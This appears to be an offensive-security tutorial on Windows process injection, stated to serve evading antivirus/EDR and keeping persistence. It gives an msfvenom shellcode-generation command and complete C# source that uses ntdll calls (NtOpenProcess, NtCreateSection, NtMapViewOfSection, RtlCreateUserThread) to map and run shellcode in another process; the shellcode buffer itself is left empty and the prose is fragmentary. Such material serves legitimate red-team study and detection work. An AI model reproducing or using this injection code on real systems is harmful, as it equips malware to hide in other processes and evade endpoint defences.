Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.
This technique leverages the below low-level native APIs.
Copy msfvenom -a x64 --platform Windows -p windows/x64/exec CMD= "C:\Windows\System32\calc.exe" -f csharp EXITFUNC=thread
Now we should be able to reflectively. copy our shellcode into the remote process.
Copy using System ;
using System . Collections . Generic ;
using System . Diagnostics ;
using System . Linq ;
using System . Runtime . InteropServices ;
using System . Text ;
using System . Threading . Tasks ;
namespace nt_PInject
{
internal class Program
{
[ StructLayout ( LayoutKind . Sequential )]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[ DllImport ( "ntdll.dll" )]
public static extern void RtlInitUnicodeString (
ref UNICODE_STRING DestinationString ,
[ MarshalAs ( UnmanagedType . LPWStr )] string SourceString);
static void InitializeObjectAttributes (
ref OBJECT_ATTRIBUTES objAttr ,
ref UNICODE_STRING name ,
int attr ,
IntPtr root ,
IntPtr secDesc)
{
objAttr . Length = Marshal .SizeOf( typeof ( OBJECT_ATTRIBUTES ));
objAttr . RootDirectory = root;
objAttr . ObjectName = IntPtr . Zero ;
objAttr . Attributes = ( uint )attr;
objAttr . SecurityDescriptor = secDesc;
objAttr . SecurityQualityOfService = IntPtr . Zero ;
}
[ DllImport ( "ntdll.dll" , SetLastError = true )]
static extern uint NtOpenProcess (
ref IntPtr ProcessHandle ,
UInt32 AccessMask ,
ref OBJECT_ATTRIBUTES ObjectAttributes ,
ref CLIENT_ID ClientId);
[ StructLayout ( LayoutKind . Sequential , Pack = 0 )]
struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[ StructLayout ( LayoutKind . Sequential )]
struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[ DllImport ( "ntdll.dll" , SetLastError = true , ExactSpelling = true )]
static extern UInt32 NtCreateSection (
ref IntPtr SectionHandle ,
UInt32 DesiredAccess ,
IntPtr ObjectAttributes ,
ref UInt32 MaximumSize ,
UInt32 SectionPageProtection ,
UInt32 AllocationAttributes ,
IntPtr FileHandle);
[ DllImport ( "ntdll.dll" , SetLastError = true )]
static extern uint NtMapViewOfSection (
IntPtr SectionHandle ,
IntPtr ProcessHandle ,
ref IntPtr BaseAddress ,
UIntPtr ZeroBits ,
UIntPtr CommitSize ,
out ulong SectionOffset ,
out uint ViewSize ,
uint InheritDisposition ,
uint AllocationType ,
uint Win32Protect);
[ DllImport ( "ntdll.dll" , SetLastError = true )]
static extern IntPtr RtlCreateUserThread (
IntPtr processHandle ,
IntPtr threadSecurity ,
bool createSuspended ,
Int32 stackZeroBits ,
IntPtr stackReserved ,
IntPtr stackCommit ,
IntPtr startAddress ,
IntPtr parameter ,
ref IntPtr threadHandle ,
IntPtr clientId);
[ DllImport ( "ntdll.dll" , SetLastError = true )]
static extern uint NtUnmapViewOfSection (
IntPtr hProc ,
IntPtr baseAddr);
[ DllImport ( "ntdll.dll" , ExactSpelling = true , SetLastError = false )]
static extern int NtClose (
IntPtr hObject);
static void Main ( string [] args)
{
//nt_PInject(args[0]);
return ;
}
private static void nt_PInject ( string processname)
{
// shellcode
byte [] buffer = new byte [ 296 ];
int bufLength = buffer . Length ;
UInt32 ubufLength = ( UInt32 )bufLength;
// get handle on local and remote process
IntPtr localProcessHandle = Process .GetCurrentProcess(). Handle ;
string targetProcess = processname;
IntPtr remoteProcessHandle = IntPtr . Zero ;
UNICODE_STRING name = new UNICODE_STRING ();
RtlInitUnicodeString(ref name , null );
OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES ();
InitializeObjectAttributes(ref objAttr , ref name , 0 , IntPtr . Zero , IntPtr . Zero );
objAttr . ObjectName = name . Buffer ;
CLIENT_ID clientId = new CLIENT_ID
{
UniqueProcess = new IntPtr ( Process .GetProcessesByName(targetProcess)[ 0 ]. Id ) ,
UniqueThread = IntPtr . Zero
};
NtOpenProcess(ref remoteProcessHandle , ( uint ) ProcessAccessFlags . All , ref objAttr , ref clientId);
// Creating new RWX memory section object
IntPtr sectionHandle = IntPtr . Zero ;
NtCreateSection(ref sectionHandle , ( uint ) DesiredAccess . SECTION_MAP_READ | ( uint ) DesiredAccess . SECTION_MAP_WRITE | ( uint ) DesiredAccess . SECTION_MAP_EXECUTE , IntPtr . Zero , ref ubufLength , ( uint ) DesiredAccess . PAGE_EXECUTE_READWRITE , ( uint ) DesiredAccess . SEC_COMMIT , IntPtr . Zero );
// Mapping view of create section into the local process (R-W)
IntPtr localBaseAddress = IntPtr . Zero ;
ulong localSectionOffset = 0 ;
NtMapViewOfSection(sectionHandle , localProcessHandle , ref localBaseAddress , UIntPtr . Zero , UIntPtr . Zero , out localSectionOffset , out ubufLength , 2 , 0 , ( uint ) DesiredAccess . PAGE_READ_WRITE );
// Mapping view of created section into the remote process (R-E)
IntPtr remoteBaseAddress = IntPtr . Zero ;
ulong remoteSectionOffset = 0 ;
NtMapViewOfSection(sectionHandle , remoteProcessHandle , ref remoteBaseAddress , UIntPtr . Zero , UIntPtr . Zero , out remoteSectionOffset , out ubufLength , 2 , 0 , ( uint ) DesiredAccess . PAGE_READ_EXECUTE );
Marshal .Copy(buffer , 0 , localBaseAddress , bufLength);
// Execute remote thread
IntPtr threadHandle = IntPtr . Zero ;
RtlCreateUserThread(remoteProcessHandle , IntPtr . Zero , false , 0 , IntPtr . Zero , IntPtr . Zero , remoteBaseAddress , IntPtr . Zero , ref threadHandle , IntPtr . Zero );
// Cleaning up
NtUnmapViewOfSection(localProcessHandle , localBaseAddress);
NtClose(sectionHandle);
}
[ Flags ]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF
}
public enum DesiredAccess : uint
{
SECTION_MAP_READ = 0x0004 ,
SECTION_MAP_WRITE = 0x0002 ,
SECTION_MAP_EXECUTE = 0x0008 ,
PAGE_READ_WRITE = 0x04 ,
PAGE_READ_EXECUTE = 0x20 ,
PAGE_EXECUTE_READWRITE = 0x40 ,
SEC_COMMIT = 0x8000000
}
}
}